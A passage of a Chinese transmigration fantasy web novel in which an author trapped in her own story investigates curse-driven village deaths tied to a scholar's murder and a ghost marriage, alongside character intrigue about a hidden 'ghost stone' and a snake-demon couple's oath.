华屿山一拍扇子,也道:“倘若他王树真的无辜,那徐宸虽饱读诗书,此举岂不是滥杀无辜,这种人还妄想考取功名,真是可笑至极。”
岁忆谙:“子不教父之过,村长岂不也有过错?”
几番话倒是把徐宸和村长里里外外都骂了一遍,这给村长气得吹胡子瞪眼。
岁忆谙赞赏地看了两人一眼,靳江浛接受到视线后,喜上眉梢,洋洋得意。
岁忆谙接着两人后面说:“如此说来,村长怎能将徐宸杀人之罪归咎于阿纸阿鸢。”
“你!你们!”村长大喘着气,他说不出话来。
岁忆谙厉声道:“怎么?村长是仗着她们无父无母无人撑腰好欺负吗?!”
村长拄着拐杖起身,眼珠子都要瞪出来了,他咬牙切齿:“你们简直是巧舌如簧,咄咄逼人!”
岁忆谙却不在乎村长这毫无意义的辩驳,她道:“说到底,这错最终落在了村长头上,孙荀的死也得找村长算。”
村长反驳:“杀死孙荀之人并未老夫,而是你口中的夺魂咒!”
“村长不是坚持让阿鸢替嫁吗?既然让阿鸢替嫁,不也是认为他们几人之死是徐宸鬼魂作祟?”
“村长这一前一后之言行属实是自相矛盾。”
“到底是谁有错,村长你就给个准信儿,若是阿纸有错,那便召鬼唤徐宸前来,问他为何不去找阿纸报仇,而是残害无辜,若是徐宸有错,子不教父之过,你身为徐宸之父就抓紧自省,然后放了阿鸢。”
岁忆谙见村长不回话,便转身问:“乡亲们以为如何?”
孙荀她娘从人群中冲出来,她大喊:“召鬼!我倒是想问问徐宸为何要杀我儿!”
“村长,这事儿你必须给个交代!”
众人僵持,村民们也碍于村长的面子没有开口,黎绕月看了眼裴汔,裴汔悄悄绕后,他压着声音喊道:“给个交代!”
村民们听见有人开口,也不管是谁,他们顺势齐声高喊:“给个交代!给个交代!”
裴汔见目的达到,又悄悄返回到黎绕月身边。
岁忆谙:“村长意下如何?”
村长背过身,深呼吸,最后缓缓开口:“好了,你们走吧,这件事就此了结,阿鸢……你也走吧。”
此话一出,周围一片寂静,围观的村民震惊不已。
岁忆谙这下子倒是懂了,用不着召鬼,这村长心中就有鬼。
“不!村长,你做出这个决定不就让我儿冤死了吗?”孙荀她娘大喊。
“姑娘,公子,老妇求你们召鬼吧,至少我要见到徐宸,我要问问他到底为何要杀我儿,还有你!六个书生就剩下你一个,你告诉我,你为何还活着?!”
“难不成真的是你杀了徐宸!”
20. 媒婆
王树终于开口,他依旧在反驳:“不是我杀的他,你别空口白牙污蔑人!”
孙荀他娘反问:“不是你是谁?我儿吗?还是已经死了的其他书生?!”
面对孙荀他娘越逼越紧的质问,面对村民们要将他剖开的眼神,王树逐渐崩溃,他大吼:“不是我杀的,我没想过他会死!”
王树说漏了嘴,众人倒吸一口凉气。
岁忆谙乘胜追击:“没想过他会死?让我猜猜,你们只是想让他考不了试而已,没想过要他性命,对吗?”
“可是徐宸还是死了。”
“你们就是害死徐宸的凶手。”
王树瘫倒在地,他默默流泪,轻声说:“徐宸书读得比我们都要好,是啊,他聪明,他刻苦,他用功,他甚至都会半夜趴在村里最高的屋檐上借着月光读书。”
“你说得对,是我们杀了他,是我们推他入河的!”王树破罐子破摔,随着他最后一句话落下,天色突然阴暗下来,瞬息万变,乌云笼罩。
村长背对众人早已泣不成声,他盼望着书生们能出人头地,能让村民过上更好的日子,可事态怎么会发展成这个样子?
他张开双臂,忍不住朝天大声质问:“为何?!这到底是为何啊?!”
“书都读到哪儿去了?!私塾的夫子是这么教导你们的吗?”
万万没想到,忮忌会是一切的源头。
阿鸢看着村长这副恨铁不成钢的模样,心中冷笑,王树当众说出自己的所作所为,倒是让她畅快不少,不过这还不够。
“都散了吧,至于王树……就留在村里,看好他。”
村长不打算报官,他的话刚一落地,跪在中央的王树猛然站起,他朝村民们冲去,嘴里还说着。
“徐宸是我害死的,徐宸是我害死的,你别再来找我了!我错了!”
“我真的知道错了!”
王树癫狂的样子被众人看在眼中,村民乱作一团,等到王树即将冲出祠堂时,才有几人冲上来将他控制住。
几人都控制不住疯癫的王树,他娘在一旁泣不成声。
没多久,王树突然倒地,华屿山赶忙上前诊断。
祠堂里十分寂静,纵使这里聚集着许多人,他们不约而同地屏住了呼吸,直到…………
“死了。”
华屿山说的很轻,但每一个人都听见了,听得一清二楚。
王树他娘怔在原地,她忘记了哭泣,身子一歪,倒在了地上。
阵阵雷声作响,闪电划破天空,可这一滴雨都未落下。
王树的死来得太快,众人还来不及消化,就有一人冲进来嚷嚷。
“不好了!不好了!”
村长道:“慌慌张张的像什么样子,有话好好说!”
来的人大喘气:“相师……相师死了!”
“什么?!”
众人还没从王树是杀人凶手,又死了的事中缓过神来,就又死了一个人。
“带路!”
一群人浩浩荡荡地离开村长家,白英空打算跟上去看看,下咒之人还未找到,他一走,其余几人也只能跟着他,而黎绕月与裴汔以旧伤未愈为由回到了客栈。
五人跟着村民来到村东的山上,山上有一处广阔无垠的空地,空地屹立着一颗巨大的槐树,枝干粗壮,枝繁叶茂,本是一番美景,可是天空是灰色的,就算再绿的枝叶也显得暗淡无比。
越走近,越能闻到一股熟悉的臭味,仔细一瞧,树下正躺着一具尸体,尸体嘴巴大张,双眼瞪大,和孙荀的死状一模一样,潮湿的泥土中混合着尸体的腐臭,苍蝇乱飞。
村民们议论纷纷。
“怎么又死人了?难道这个相师也是害死徐宸的凶手?”
“不会吧,那徐宸也太可怜了吧,这么多人杀他。”
华屿山正蹲在相师尸体前研究,起身后道:“是夺魂咒,死了有一天了。”
岁忆谙随手拦住了一个妇人问:“大娘,这相师就是算出徐宸还魂的那个人吗?”
“对呀,算上来这是村里死的第八个了。”
阿纸,五个书生,以及面前的相师,这不才七人吗?
岁忆谙疑惑:“第八个?还有谁死了?”
“最先死的是说亲的媒婆,媒婆死的可惨了,当时她疯了,竟然当众拿着针线将自己的嘴巴和眼睛给缝起来,像是感觉不到痛似的,着实恐怖。”大娘拍着胸脯,她一想到那副场景就心生胆怯。
岁忆谙道谢后,心想着,这缝嘴和缝眼不就是冥婚流程的其中一个吗?
一时间,岁忆谙突然想到了那个梦,白色的灵堂,红色的嫁衣,而她被关进了棺材里,挥之不去的窒息感,她不知晓阿纸入棺时,是否也是这般痛苦难受。
槐树下,村长正指挥着几个壮汉搬运尸体,岁忆谙渐渐远离众人,柳微晴跟在她身后。
岁忆谙站定在山坡上,风肆意吹过,脚下杂草朝同一个方向扑去。
风吹起她的裙摆,吹起绑在发尾的红绸,红绸自由地飞舞着,是灰色背景中唯一的颜色,清亮的眼睛被风吹得干涩,她微眯起眼,缓解着不适。
岁忆谙要理清楚这一切,于是她开始从头思考,徐宸被其他书生害死后,村长为他配冥婚,阿纸自愿殉葬,下葬后阿纸失踪,之后村子怪事不断。
死的第一个人是媒婆,她的眼睛和嘴都被自己用针线缝了起来。
接下来死的是书生,前三个说是被溺死的,可他们是否中了夺魂咒还不得而知,而孙荀与相师是中咒而死。
假设一切回到最开始的时候,村民都说是徐宸的鬼魂杀了他们,那徐宸为什么要杀相师还有媒婆呢?
既然是中咒,那就有人替徐宸报仇,那人杀了书生,那媒婆和相师呢?又为何要杀这两人?
肯定还遗漏了什么………
一切都是阿纸的尸体失踪后才发生的,阿纸被村长配冥婚……………冥婚,媒婆,相师。
这也是在替阿纸报仇?
能替阿纸报仇的,好像只有她的妹妹阿鸢了。
岁忆谙回头看向围观村民中的阿鸢,阿鸢痛哭着,她看起来还不到十八,倘若阿鸢的杀人动机是为姐姐复仇?那阿纸就不是自愿殉葬。
看来,还得找到阿纸不愿殉葬的证据。
她得先去找阿鸢询问,再去找白英空商量。
默默站在一旁的柳微晴能感受岁忆谙情绪的波动,看着岁忆
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谙眼底流露着她不懂的神色,便问道:“姑娘在想什么?”
“没什么……微晴,你听了这么久,可有什么想法?”
柳微晴是书中人,或许她能站在另一个角度思考问题。
“微晴觉得他们该死,杀人偿命,既然他们害死了徐宸,死了好像也没什么可惜的。”柳微晴的语气十分平淡,没有任何情绪起伏。
“只是可怜了阿纸阿鸢,一个为情死,一个险些为啊姐死,她们都是无辜的。”说到这儿,柳微晴居然叹了一口气。
岁忆谙听到了柳微晴想法,她想得入神,没有察觉到靳江浛站在她身后,刚迈出步子,视线突然曝光,头剧烈疼痛,脚步踉跄了一下。
“姑娘,您没事吧?”
“谙,你没事吧?”
两道声音同时响起,靳江浛迅速出手将岁忆谙扶住,还将两人隔开。
“没事…………”
岁忆谙站稳后,抽回了自己的胳膊,怎料靳江浛走进一步,拉过她的手说:“我们该回去了。”
她什么时候说要回去了?
岁忆谙抽回手,虽觉得靳江浛莫名其妙,但她还是耐心道:“我还有事,你先回去吧。”
“你状态不好,大病初愈,这事你就不要管了。”说罢,靳江浛再次强硬地牵过岁忆谙的手,想拉着她走。
岁忆谙被拉着走了好几步,忍住脾气,试图和他商量:“我状态很好,我还有事要解决,你不用管我。”
靳江浛停下,双眸注视着她,沉声质问道:“你就这么想找出杀人凶手吗?”
岁忆谙一愣,被靳江浛这么一说脑子倒是清醒了不少,明明一两个时辰前她还说不想管的,此刻怎么又变了呢?
她依旧在想自己能不能接受这件事背后的真相,哪怕村民们的思想早已发生改变。
可真相对她的诱惑力实在是太大了。
“对,我就是想找出杀人凶手。”岁忆谙承认。
“这件事与你没有任何关系?你瞎凑什么热闹?”靳江浛有些生气,气岁忆谙不好好爱护自己的身体,也气自己没有好好护着她。
岁忆谙说:“我只是想知道凶手到底在想什么,到底想做什么?”
冥婚二字是岁忆谙写出来的,可她却不知道这背后的故事,她一个作者怎么能不了解自己笔下人物在想什么呢?
凶手到底为什么杀人?那些死者又做了什么事?背后的真相到底是什么?
这些岁忆谙通通不知晓,她是这个世界的书写者,就必须知晓一切。
岁忆谙甩开靳江浛的手,她对上靳江浛那担忧的眼神,顿时什么话都说不出了,但她还得装下去,而且气势上也不能输,她没好气道:“你若是等得不耐烦了,就自己回客栈吧。”
靳江浛急了,语气顿时软了下来:“谙,我不是那个意思,我只是担心你而已。”
“我知道你在担心我,但是我想要做的事情你也拦不了。”
岁忆谙甩手离去,她态度强硬,靳江浛可以担心她,但是不能束缚她,无论如何她都得知道这背后的一切。
柳微晴抬脚跟上,两人争吵时,她感受到了岁忆谙的气愤,只是搞不懂她为何生气?
21. ?
靳江浛也不明白,她为何想要知晓凶手是谁?难不成她也跟白英空一样想要守护世界和平?
岁忆谙的身影逐渐远去,他收回思绪追了上去。
“谙,我陪你!”
而槐树下,白英空与华屿山在商量如何找出下咒之人。
华屿山能判断出孙荀他们是因夺魂咒而死,那肯定知晓夺魂咒的来源以及解决办法。
白英空问:“屿山兄可否知晓如何找到这下咒之人?”
华屿山轻摇着扇子,他靠在树干上,悠哉悠哉地说。
“想要画出此咒必须以被咒者人血为墨,画好后将其烧掉,焚烧下来的灰烬融入水中,让被咒者喝下,被咒者会在十二个时辰之内想起自己所犯下的亏心事,何时死亡就要看被咒者心境如何。”
“至于有何法子找到下咒者,我也不清楚。”
夺魂咒是写在符箓上的?白英空还以为只是一句咒法,这夺魂咒还真是特别,岁姑娘是符修,说不定她对此咒有所耳闻。
华屿山继续道:“有些人熬不过半个时辰就死了,有些人倒是能不受亏心事的叨扰。”
“真是复杂,什么人能让这么多人中咒?这要放多少血画符?”白英空皱着眉,这事太复杂了,他要找出下咒者,防止更多的人受到伤害。
岁忆谙来到白英空面前,刚想开口,一直偷摸关注这边动静的阿鸢走来,她朝几人跪下,抽泣道:“多谢各位恩人救我,阿鸢无以为报。”
白英空连忙将阿鸢扶起,他为自己救得了一人而感到开心,他笑得爽朗:“应该的,这是我们的职责,还有的就是,你不必下跪。”
岁忆谙问:“阿鸢姑娘,今后你是想继续留在村里,还是离开?”
阿鸢也不知自己该怎么选择,她很迷茫,随口说:“我……我打算离开村子………”
岁忆谙从布袋子里拿出一个沉甸甸的荷包,她将荷包塞进阿鸢手中。
“离开村子也好,忘掉这里不好的一切重新开始,这些银两给你。”
阿鸢惊讶万分,她诧异地看向岁忆谙,岁忆谙眼眸似水,眼中的关怀令她心中苦涩。
她能重新开始吗?
几人走后,阿鸢怔怔地看着手中的荷包,荷包上绣着精美的纸鸢,她知晓,有些事一旦做了,就注定不能重来。
“岁姑娘可是有话要说?”刚才白英空注意到了岁忆谙想要开口,却被过来的阿鸢打断。
岁忆谙先是问:“白兄是想找到下咒者吗?”
“对,下咒者危害他人性命,我必须抓到他,这样才能保证村里其他人不受伤害,对了岁姑娘,这夺魂咒是写在黄符纸上的,你可听说过?”
白英空毫不犹豫地点头。
“这…………待我看看。”在此之前,岁忆谙没听过这夺魂咒,她拿出零零零给她的书,开始一页一页地翻看起来,里面并没有记载夺魂咒。
在白英空期待的目光下,她摇了摇头。
“从目前死亡的几人来看,下咒者很有可能是在替徐宸和阿纸报仇。”岁忆谙说出自己的猜测。
华屿山不太懂,他问:“替徐宸报仇我还能理解,毕竟那些书生杀了他,可替阿纸报仇又是何意?”
岁忆谙道:“阿纸消失后,死的第一个人是媒婆,媒婆的死状与配冥婚过程很像,都是缝眼和缝嘴,但我不确定阿纸有没有被缝眼和嘴。”
其余几人沉默,倘若媒婆的死与阿纸有关,那村长岂不是撒了谎。
“没人看见阿纸入棺时的情景。”
此话一出,几人齐刷刷转头看向靳江浛,而靳江浛的眼神只直勾勾地盯着岁忆谙。
“我打听到了,阿纸嫁人时村长并未摆宴席,而且村长家门窗紧闭,没人看见里面的情景。”
也不算打听,意识一放出去就什么都能听到了。
“村长一直在说阿纸是自愿殉葬,自愿殉葬的人也要被缝眼嘴吗?”白英空问道,他并不知晓有关冥婚的知识,书上也不讲这些。
“我也不知…………”她明明对冥婚的流程都不是很清楚,怎么就写了冥婚呢?真是服了。
“那我们是不是要去找村长问问?”柳微晴突然想问这一句。
白英空下意识追问:“万一他不肯说呢?”
这个问题倒是难到了柳微晴,她还没思考过这种问题。
“把刀架在他脖子上不就好了。”靳江浛说罢,便找华屿山要了一块帕子,开始动手擦他的黑石长剑,岁岁被擦得锃亮锃亮的,隐约还发着微光。
“不行。”白英空拒绝。
“那可以试试我特质的噬心散,效如其名,心脏会剧烈收缩,疼痛不已,保证他一盏茶之内必说真话。”
华屿山一脸坏笑,他不知从哪儿掏出了一瓶药,伸手想要打开塞子。
“那更不行了。”白英空再次拒绝。
“一张真言符就可以搞定的事。”只见岁忆谙举着手,食指与中指之间夹着一张空白的黄符纸。
白英空面露欣喜。
岁忆谙又说:“只不过我还没画,也没画过。”
白英空脸上笑容消失。
“现画一张就好了,也不是什么难事儿。”岁忆谙正将手伸进布袋子里掏朱砂笔时,靳江浛制止了她。
“不行,你大病初愈,画不得。”
“差点忘了,我们还是想别的法子吧。”白英空遗憾道。
柳微晴仔细思考了一番,她今日一直在观察其余人说的话,一个词突然从她脑中冒出,她说:“那…………攻心?”
一行五人问了路来到村长家门前,村里大部分人都住瓦房,只有村长住的是茅草屋,周围围了一圈篱笆,毫无其他遮挡。
白英空上前叩门,三声过后,有个人从屋子里走了出来,是李蕨,他站在篱笆边,见到是白英空几人,先是环视了一圈,接着面露不悦,没好气道:“你们来这儿作甚?”
白英空笑道:“这位大哥,我们找村长。”
“村长不想见你们。”
李蕨没有丝毫犹豫就回绝了,他转身想走,靳江浛拦住了他。
“你问都没问就说村长不想见我们,这不太好吧?”靳江浛眼神威胁,李蕨毫不畏惧。
“村长特意吩咐过的。”李蕨转身就走,速度快得连靳江浛都来不及使用惑术。
众人迷茫地站在原地,柳微晴懵懵地问:“怎么办?”
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>“去徐宸下葬的地方看看?”岁忆谙道。
华屿山疑惑:“尸体还在那儿吗?”
“看看不就知晓了,尸体不一定在,但说不定徐宸这个人的魂就在。”
靳江浛语气森冷,这话说得让岁忆谙打了个寒颤,他顽劣地看了眼岁忆谙,那眼神充满了恶趣味。
岁忆谙怒目瞪了他一眼,只不过在靳江浛眼中,这一眼一点威慑力都没有。
五人打听到了徐宸当时下葬的地方,不过棺材只有一副,兴许两人躺的是同一副棺材。
两人被葬在村东头的树林里,岁忆谙有些崩溃,她今日一整日的步数量都能抵她一年的了,腰酸背痛,腿软脚麻。
今日她从客栈走到祠堂,再从祠堂走到村东,再从村东走到村长家,接下来竟然还要去村东!
受不了了,黎绕月这个主角都回客栈了,她怎么不跟着黎绕月呢?还不是为了找出那个凶手。
不过到时候等白英空找到凶手之后,她再去问不就好了吗?
这般想着,岁忆谙转身想走。
“你去哪儿?村东在那边。”靳江浛拉住了她,用手指指了指另一个方向。
岁忆谙神情蔫蔫儿的,她无精打采道:“回客栈,我饿了。”
“你不是要去寻找凶手吗?”靳江浛直男般询问。
岁忆谙插着腰说:“该休息就休息,这不是还有白……”
“你们呢?要回去吗?”岁忆谙礼貌地问了一句。
岁忆谙:“天色不早了,该回去吃晚膳了,我午膳都没吃。”
白英空望了望天,阴云依旧笼罩着整座村子,看不到太阳,也看不出此刻是几时。
白英空道:“那要不我们先回客栈?”
华屿山打了个哈欠:“我没意见。”
柳微晴认真说:“我回去。”
靳江浛不回答,白英空都知晓他会怎么选。
五人一同走在回客栈的路上,岁忆谙没力气走了,她借用了岁岁,为了不让自己太过显眼,剑身只离地面一尺,她踩着剑身慢悠悠地飞着,时不时飞离众人,四处转转。
零零零在空间里看着岁忆谙的举动,忍不住出声询问:【宿主大人,您不找了?】
岁忆谙见零零零终于冒泡,眸色一沉,唇角微勾,她在脑中回。
【不找了,我想通了,人饿了就要吃饭,困了就要睡觉,不开心就要让自己开心,管他什么任务不任务的,哪怕这不是我的世界,我也不能累着。】
【为了任务折磨自己,这可不行。】
【那…………宿主大人不想知晓凶手是谁了吗?】零零零疑惑,刚刚岁忆谙还因为这件事和靳江浛吵了一架,怎么一转头她就不在乎了呢?
【想啊,可这和吃饭有何关系,两者并没有冲突不是吗?】
岁忆谙又道:【天大地大,自己最大。】
【零零零不太懂…………】
【不懂什么?当然,你只是系统,一堆代码自然不懂,你只要知晓,宿主大人我说的都是对的。】
这几句话都是岁忆谙想为零零零灌输的,每一句话都很重要,最后一句话的诱导性太大了,希望零零零不要有所察觉。
22. 若违此誓
零零零有些迷糊,它也不知晓自己不懂什么,可能是它不懂岁忆谙此刻的心情以及举动吧。
【对了,夺魂咒又是哪儿来的?我都没写过这个咒。】
【这个……宿主大人可以问问靳江浛。】零零零现在思绪混乱,它敷衍道。
又是靳江浛,夺魂咒和靳江浛有关?!
天色渐暗,岁忆谙几人回到客栈。
岁忆谙用完了晚膳后就回到自己房中,奔波了一天,她沐浴完毕后,门被敲响,打开一看,是柳微晴。
“微晴怎么来了?”
“我来保护姑娘。”柳微晴一进房间就站在门口处,站得挺拔如松就算了,还目不转睛地盯着岁忆谙。
岁忆谙被盯得浑身发麻,主要是柳微晴的脸很白,还面无表情。
“你不用管我了,回房睡去吧。”
柳微晴一动不动,岁忆谙只好将门打开,将人推出门外,“快去睡,快去睡!”
岁忆谙关上门前还说了句晚安,关上门后,她就瘫倒在床上。
不到半刻钟,门外传来了悉悉索索的说话声。
一个时辰前,黎绕月与裴汔早就回到了客栈,他们回到厢房,布下隔音结界。
两人坐在桌前,裴汔正在沏茶。
黎绕月忧心忡忡,她推测道:“靳江浛实在是太奇怪了,我怀疑他就是魔族或是鬼石持有者。”
靳江浛绝对不止凌仙宗弟子这一个身份,在他们第一次见面时,靳江浛身上散发的气息就令他们两人潜意识弯腰臣服,甚至是下跪,太可怕了。
裴汔对黎绕月的猜测是百分百地相信,他将泡好的茶水倒在黎绕月面前的杯中,并说:“的确很可疑,那我们该如何探出他的真实身份?”
黎绕月端起茶杯抿了一小口,微烫的茶水入口,清香在喉中蔓延。
她说:“靳江浛我们是试探不了了,他对我们一直都很防备,我觉得可以去找岁忆谙聊聊。”
黎绕月将目标转向了岁忆谙,她能感到岁忆谙对他们并无恶意。
“岁忆谙?岁江南?”裴汔想半天才想出岁忆谙是谁。
黎绕月解释道:“对,那日在城隍庙,靳江浛说出了她的真实姓名,她虽然骗了我们,但是她好像并不排斥我们。”
岁忆谙似乎只排斥靳江浛。
裴汔一听,想到岁忆谙这几日与黎绕月的互动,心中莫名些许生出醋意,他道:“应该是不排斥你,你魅力真大。”
黎绕月听出了裴汔话里的醋意,有些无语,她抬眸看了裴汔一眼,问:“我魅力大不好吗?”
“当然好了,不过最好的,是我先来到了你的身边………”说完这句话,裴汔若释重负般地重重呼出一口气。
这让黎绕月很是困惑,百年前,他们一同出来寻找鬼石,在此期间从未遇到过什么重大劫难,裴汔的心情怎会如此沉重?
黎绕月心中警铃大作,她慢慢搁下茶杯,如寻常般问道:“什么意思?”
“没什么意思。”
裴汔似乎有意隐瞒什么。
“阿汔,你有事瞒我。”黎绕月表情认真,语气严肃。
“没有…………”裴汔下意识反驳,他不敢对上黎绕月的视线了。
黎绕月的嘴里缓缓吐出两个字:“撒谎。”
她说得极其平淡,可这两个字却让裴汔慌了神,他急忙握住黎绕月的手,真挚道:“绕月,等找到鬼石之后,我就把一切的一切告诉你。”
“裴汔,你有你的秘密,你可以隐瞒,你也可以不用告诉我,但你最好不要骗我。”
黎绕月直呼其名,可见她对这件事的重视,每个人都有秘密,她无权知晓裴汔的秘密,倘若裴汔欺骗于她,她肯定不会放过裴汔。
裴汔站起身,他单膝跪到黎绕月面前,挺直腰身,拉住她的手,仰起头看她。
“黎绕月,我裴汔对天起誓,无论在哪个世界,我都不会骗你,无论在哪个世界,我都会找到你,只要我还是我。”
裴汔说出最后一句话的缘由,是因为在做出扭转时空这个决定之前,他的脑子突然比之前任何时候都要清醒。
他发现自己能坚定寻找黎绕月的念想,有了抵抗他父亲的勇气,可当他找到黎绕月时,她竟然和白英空在一起了。
裴汔不愿接受,他耗了将近百年的时间寻找能改变一切的法子,最后找到了扭转时间的禁术。
裴汔一直陪着黎绕月身边,直至今日。
“若违此誓,我裴汔就会落得一个求生不得,求死不能的下场。”
黎绕月静静地看着裴汔发誓,她没有开口阻止,只是微微发颤的手诉说着她内心的不平静。
两人的视线空中交缠,交握的双手泛着金色的微光。
周身妖力翻涌,狂风骤然袭来,窗户被砰的一声吹开,风闯入厢房之中。
两人发丝飞舞,衣袂翩翩,除此之外,房中其他的任何东西都未受到风的影响,它们稳固地立在原处,不曾挪动一丝一毫。
窗外树枝剧烈摇晃,一道刺眼的银白色闪电滑过。
雷声响起,誓言生效。
这幅场景仅仅只维持了几十秒就逐渐恢复正常,窗户自动关上。
裴汔依旧单膝跪地,黎绕月将仔细端详着他的脸。
裴汔五官硬朗,鼻梁高挺,眉眼深邃,眼中满是柔情,他虽是雪蛇妖,但肤色却不白,而是健康的小麦色。
黎绕月时不时让裴汔现出原形,就是想看看他那雪白的鳞片有没有变色,事实是并没有。
房内静谧,裴汔渴望地等着黎绕月的回应,在他期待的目光下,黎绕月将手贴上了他的脸庞。
黎绕月的身子微微弯曲,在裴汔的唇瓣上落下轻轻一吻,赐予般的一吻。
裴汔欣喜若狂,他扑到黎绕月怀中,紧紧抱着她。
百年间,两人是有些亲密举动,相恋期间有这些举动很正常,可这次的吻是黎绕月对裴汔立下了誓言的回应,诚恳且真挚。
两人在房中温存了一阵子,直到黎绕月听见岁忆谙回来…………
柳微晴没有回房,而是守在岁忆谙门外,她靠在柱上假寐,耳朵微动,木板的咯吱声伴随着缓慢的脚步声,她迅速睁眼,眼中是一闪而过的警惕。
只见远处,黎绕月正举着一盏烛台朝她这边走来。
柳微晴的视线紧紧跟随着黎绕月。
靳江浛特意叮嘱
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过她,要注意黎绕月和白英空这两人,不要让他们接近岁忆谙。
黎绕月还未走到岁忆谙门前,就被柳微晴拦了下来。
黎绕月露出了一个友善的笑容,轻语道:“柳姑娘,我想见一见岁姑娘。”
柳微晴面不改色道:“姑娘已经睡了,你您请回吧。”
黎绕月不想放弃,可她也不能和柳微晴硬碰硬,看来她只能另找机会了,刚要离开时,房门吱呀一声开了。
岁忆谙正准备进入梦乡就听见外面有人,一打开门就看了黎绕月,她十分疑惑:“绕月?你找我有事吗?”
黎绕月眼睛顿时冒光,为了更好地接近岁忆谙,她特意换了一身与岁忆谙同色的粉裙,她笑得迷人:“岁姑娘,呆在房中总是无聊,想来找你解解闷。”
岁忆谙心中诧异,事出反常必有妖,更何况是心思缜密的女主。
思索之间,岁忆谙已经将黎绕月迎了进来。
进门前,黎绕月还特意看了柳微晴一眼,眼里挑衅的意味十分明显。
柳微晴忿忿不平,她心想,黎绕月来岁忆谙房间肯定有所图谋。
两人坐在桌前,桌上原本就有一盏烛台,黎绕月又拿了一盏。
这下子,昏暗的房间被照得更加亮堂,这也有助于黎绕月看清岁忆谙的神态。
柳微晴也跟着进门,她立马拎起茶壶为两人倒茶,倒完后却没有离去,而是顺势拎着茶壶候在一旁。
岁忆谙问:“想与我聊些什么?”
黎绕月先是拿起茶杯,并没有饮用,余光瞥见了柳微晴还站在一旁,她放下茶杯,有些难为情地看了眼岁忆谙,又看了眼柳微晴。
岁忆谙懂了,她对柳微晴说:“微晴,你要不先出去?”
柳微晴不愿,但也只能应下,她放下茶壶离开。
人离开后,诡谲的气息开始翻涌。
“岁姑娘怎对阿纸阿鸢格外上心?难道是对探案感兴趣?”
黎绕月先是随便起了句开头,虽然她对这个问题的答案不是很感兴趣。
岁忆谙老实回答:“我只是好奇凶手因何杀人罢了。”
“岁姑娘芳龄几许,家住何方?”
岁忆谙被问住了,并不是因为这个问题很难回答,而是一提到家,她就莫名感到烦躁,回不了家的烦躁。
“二十二,家…………在很远的地方。”
看到岁忆谙眼中的伤痛,黎绕月突然不想问了,还是进入正题吧。
“岁姑娘与靳江浛关系如何?”
来了来了,这才是黎绕月找她聊天的目的吧。
岁忆谙想也不想便回道:“我和他关系一般。”
虽然书写者与角色的关系不一般,但她和靳江浛的关系是真的一般。
黎绕月才不相信。
“忆谙…………”黎绕月声音幽幽。
岁忆谙一怔,抬眼看她,脸上并没有黎绕月料想中被揭穿的心虚,反而很坦然。
“岁忆谙…………你为何要用假名?”黎绕月一脸悲愤,眼中还有泪光闪过,这倒是让岁忆谙懵了一下下,女主这是演的吗?
要是真是演的,那好像有点过了吧,她们的关系很密切吗?
23. 你是谁
岁忆谙迅速做出反应,她垂下脑袋,双手不安地揪着衣料,她放软了嗓音,说:“我……我只是害怕…………”
黎绕月追问:“怕什么?怕与靳江浛扯上关系?”
“靳江浛的佩剑叫岁岁,剑柄上还刻着一个谙字,你说你与靳江浛关系一般,我实在是不信。”
岁忆谙很不喜欢这种感觉,主动权不在自己手上,这会令她很被动。
岁忆谙没有急着回答,她为自己倒了杯茶,喝下后,笑道:“你信不信对我来说不重要,重要的是,你想找到鬼石吗?”
黎绕月的心脏猛地一跳,但她面上还是镇定道:“我是青山宗的弟子,自然要找到鬼石。”
黎绕月当然不会否认她想要鬼石,但她总觉得岁忆谙知晓什么。
岁忆谙没有说话,只是似笑非笑地盯着黎绕月。
两人对视良久,黎绕月率先败下阵来,她轻声问:“你知道鬼石在哪儿?和靳江浛有关对吧,他是……魔吗?”
说完最后一句话,岁忆谙能感受到黎绕月的害怕,想起城隍庙里发生的事,她疑惑。
“你很怕靳江浛?在城隍庙里,你和裴汔为何会听他的话?”
黎绕月反问:“我为何要告诉你?”
岁忆谙不紧不慢地说:“月蛇妖族的使命全靠你了不是吗?”
黎绕月这下更慌了,她猜想岁忆谙知晓些什么,可她没猜到岁忆谙知晓这么多,知晓她是月蛇妖,说不定还知晓裴汔是雪蛇妖。
这下可难办了,自己的老底都被岁忆谙扒光了,她连岁忆谙是敌是友都不知。
黎绕月叹气,将往事一一诉说。
一个月前————
那时刚入春,两人走遍了南方的每一座山脉,每一座村庄和城镇,黎绕月与裴汔寻了百年都没有找到鬼石的下落,就连一点传言都未曾听到。
直到那日清晨,两人欲往北行,在街上遇到了一群修仙弟子。
“你们吃饭怎么不给钱啊!”店小二从酒肆里追了出来,他挡在几个修仙弟子面前。
为首的弟子一把将店小二推倒在地,他嚣张至极,说:“你可知我们是谁?”
店小二站起身,他又不是第一次遇见吃霸王餐的了,他淡定地拍了拍屁股上的灰尘,大声道:“我管你是谁,天王老子来了都得给钱!”
“快来看啊,有人吃霸王餐啊!”店小二招呼着其他人过来围观,对面人多,自己就一个人,可不得找人来帮忙。
修仙弟子上手揪着店小二的衣领子,怒吼道:“把嘴给我闭上,老子告诉你,老子可是凌仙宗的内门弟子,内门弟子!”
唾沫横飞,店小二嫌弃地别过脸:“我管你内门木门铁门的,吃了饭就得给钱,不然我就去报官!”
“报官?”
弟子们对视一眼,为首的率先动手,一拳头挥过去,店小二被打倒在地。
“我让你报官,我让你报官。”
几人对着店小二拳脚相向,没一会儿店小二被打得鼻青脸肿,围观的群众想要上前制止,可都被弟子们用术法挡了回去。
“啊!救命啊,打人了!”
黎绕月与裴汔正要上前时,一道身影比他们更加快速地冲了上去,给了弟子们每一个人的脸一脚。
“你们在干什么!”白英空挡在受伤的店小二面前,
凌仙宗的弟子都认识白英空,他们慌忙站好,满脸心虚。
“师……师兄…………”
“你们竟然敢当街打人,凌仙宗的门规你们怕是都忘干净了吧!”
没人反驳,因为他们真的大人了。
店小二见有人出来制止,而且他们好像还很怕这人,他捂着腰站起身来,向白英空告状:“他们不仅打人,还不付钱!”
白英空一听,眉头拧得更紧了,他说:“把钱付给人家,然后道歉。”
修仙弟子们一一照做,他们平日里经常吃霸王餐,爆出凌仙宗的名号倒是没人敢拦他们,店家大多数胆小怕事,谁能料到今日就被大师兄逮了个正着,运气真是差。
“回去之后就把宗门法规每条手抄五十遍,如若让我发现有谁用术法代笔,我就亲自监督他手抄一百遍!”
“是。”
这幅场景被远处的黎绕月与裴汔看在眼里,裴汔低声问:“一起杀?”
裴汔话里的一起包括白英空。
黎绕月:“放了一群作恶之人,他也算不上什么好人。”
他指的也是白英空。
两人自然懂得对方的意思。
白英空并未与其余弟子一起走,两拨人分开后,他独自朝偏僻的林中走去。
